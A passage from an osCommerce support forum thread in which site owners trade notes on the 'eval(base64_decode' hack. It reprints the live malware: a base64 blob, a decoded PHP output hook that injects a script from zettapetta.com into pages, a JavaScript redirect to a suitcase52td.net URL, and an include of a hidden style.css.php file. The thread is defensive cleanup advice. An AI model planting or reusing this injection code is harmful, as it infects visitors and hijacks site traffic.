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'))); ?>

Share this post


Link to post
Share on other sites

I have it decoded but this forum will not allow me to post it.

 

But I will say, it's some NASTY code. If your site has this code on it, I would suggest deleting it and replacing it with a known good backup.

 

Sorry

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

Actually, it is a self initiating script of some sort. Once I decoded this, my Norton 360 identified it as an unknown worm. It actually attached it self to an outgoing email before Norton quarantined it.

 

I have asked the site moderators to delete the code as a pre-caution.

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

I sent the file in PDF format for you. It should be safe like that.

 

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

this is just code, your hips have nothing, I have tried many ways but not all are, right click edit, it does not affect anything, you yourself tool is not so, true to the language barrier but because wanted it so I had to use Google Translate

I feel sorry confusing ;((

Share this post


Link to post
Share on other sites

The decoded "eval(base64" script on my site doesn't include an external file.

 

Here's the decoded, unobfuscated script. Anyone have any ideas where the problem file(s) might be hiding?

 

if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){

$GLOBALS['mr_no']=1;

if(!function_exists('mrobh')){

if(!function_exists('gml')){

function gml(){

if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){

return base64_decode("<script src="http://zettapetta.com/js.php"></script>");

}

return "";

}

}

 

if(!function_exists('gzdecode')){

function gzdecode($input_str){

$ascii_third_char=@ord(@substr($input_str,3,1));

$start_pos=10;

$unused_var=0;

if($ascii_third_char&4){

$tmp=@unpack('v',substr($input_str,10,2));

$tmp=$tmp[1];

$start_pos+=2+$tmp;

}

if($ascii_third_char&8){

$start_pos=@strpos($input_str,chr(0),$start_pos)+1;

}

if($ascii_third_char&16){

$start_pos=@strpos($input_str,chr(0),$start_pos)+1;

}

if($ascii_third_char&2){

$start_pos+=2;

}

$retval=@gzinflate(@substr($input_str,$start_pos));

if($retval===FALSE){

$retval=$input_str;

}

return $retval;

}

}

function mrobh($page_output){

Header('Content-Encoding: none');

$hacked_output=gzdecode($page_output);

if(preg_match('/\<\/body/si',$hacked_output)){

return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$hacked_output);

}else{

return $hacked_output.gml();

}

}

ob_start('mrobh');

}

}

 

 

I replaced all of the PHP files last night, but my site was compromised again this morning so something was still lurking. This morning I deleted the whole osC folder (the store was not live) and will wait to see how things go.

 

The other puzzling thing is that this site is in the very early stages of development in a sub-sub-folder, and is not linked to from anywhere else. I shared the test link with 1 person yesterday and he may have sent it to one other person. Both are probably computer novices and so I'm not sure if their actions could have led to a site hack.

 

On this installation:

- I had not yet changed the admin folder name. My bad. But I wasn't too concerned yet since it wasn't a live site and no one should have known about it or been able to find it.

- There was an inactive Wordpress blog and Moodle install on other domains under this shared account. I deleted both last night so I can't go back and investigate those folders... but even after deleting both Wordpress and Moodle last night, my osC site was again compromised this morning.

- I had installed the following contributions early on: IP Trap, Price Break (uninstalled a few days later), Security Pro, XSS Shield

 

Still trying to figure out how this happened and how to prevent it from happening again.

Share this post


Link to post
Share on other sites

Hi, Chris.

 

Yeah, saw that and grabbed the code on zettapetta.com to analyze (pasted below for reference).

 

Throughout this thread I had seen references to files such as "style.css.php" in language sub-folders of osC, so I was trying to find any such files on my server. But I guess it's safe to say that no files were actually saved on my server this time. In any case, the whole osC installation has been deleted off the server now.

 

Still trying to figure out how my osC installation was discovered in the first place...

 

function setCookie(c_name,value,expiredays){
var exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
document.cookie=c_name+ "=" +escape(value)+
((expiredays==null) ? "" : ";expires="+exdate.toGMTString());
}


function getCookie(c_name){
if (document.cookie.length>0)
 {
 c_start=document.cookie.indexOf(c_name + "=");
 if (c_start!=-1)
   {
   c_start=c_start + c_name.length+1;
   c_end=document.cookie.indexOf(";",c_start);
   if (c_end==-1) c_end=document.cookie.length;
   return unescape(document.cookie.substring(c_start,c_end));
   }
 }
return "";
}


var name=getCookie("pma_visited_theme1");
if (name==""){
setCookie("pma_visited_theme1","1",20);
var url="http://www4.suitcase52td.net/?p=p52dcWpkbmmHnc3KbmNToKV1iqHWnG2dXpSYk2hoZZublQ%3D%3D";
window.top.location.replace(url);
}else{


}

Share this post


Link to post
Share on other sites

Hi,

I've just replaced all my online files and the db thanks to this hack - found that the offending code in the php files decoded as:

 

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/XXXXXX/public_html/admin/includes/languages/english/images/buttons/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

 

(where XXXX is my hostname)

 

I had earlier discovered the garbage files by accident in the /butttons folder and removed them but not after they had sat there for a few weeks.

 

Now the problems with getting the site back to normal:

 

 

Although the testing site on my home server displays the page urls as I had them before, after the same files are uploaded online the site displays page urls with cPath idents (i.e. /index.php?cPath=1, and /product_info.php?products_id=110) whereas before and on the testing server I had cName & pName text in the urls (e.g. /index.php?cName=categoryname and /product_info.php?pName=productname); it's annoying when everything had been working OK.

 

 

The important thing is that I now have the site back on line and have started the security regime as suggested on this thread but if anyone has any idea about what I am missing with the above problems, I would be most grateful.

 

Thks, Mike

Share this post


Link to post
Share on other sites

Further to the above, one of the hacker's files (named 'kwd') I removed contained the keywords:

 

lillian sykes award

iliza shlesinger

rebates com florida

 

and Google Webmaster listed links to my site which include:

 

index.php/?sdoc=rebates+com+florida 236

index.php/?sdoc=iliza+shlesinger 216

index.php/?sdoc=lillian+sykes+award 15

 

so checking your inbound and outbound links can be a useful clue to this sort of attack.

 

 

Another file ('lib') contained over 20,000 href links to sites all of which seemed to be OsCommerce-based; I don't know if these would be sites already hacked but I would suspect so.

 

So beware and get your shields in place!!

 

Mike

Share this post


Link to post
Share on other sites

Hello,

 

I own a Joomla website, and recently it got infected with eval(base64_decode hack). I googled for some help and suggestions and stumbled upon this forum, I know the forum is dedicated to osCommerce , but i was wondering if anyone could help me I would be greatly thankful to him/her. I decoded the code

 

aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5clpHcHJabXB6YTJSbWFteHphMlJxWmk1amIyMHZhM0F1Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9

 

and searched for the source file location asdescribed in the first post of the topic but i was unable to do that, instead of file its saying Functionexsist, i dont know what to do, any help here would be greatly appreciated.

 

Thanks.

Share this post


Link to post
Share on other sites

Talha,

 

No matter what the cart is, the cleansing is the same. Delete the site and restore a known good copy of the files.

 

Unfortunately this is the only way you can ensure that the hacker has not placed hidden code within ALL or SOME of the files.

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

×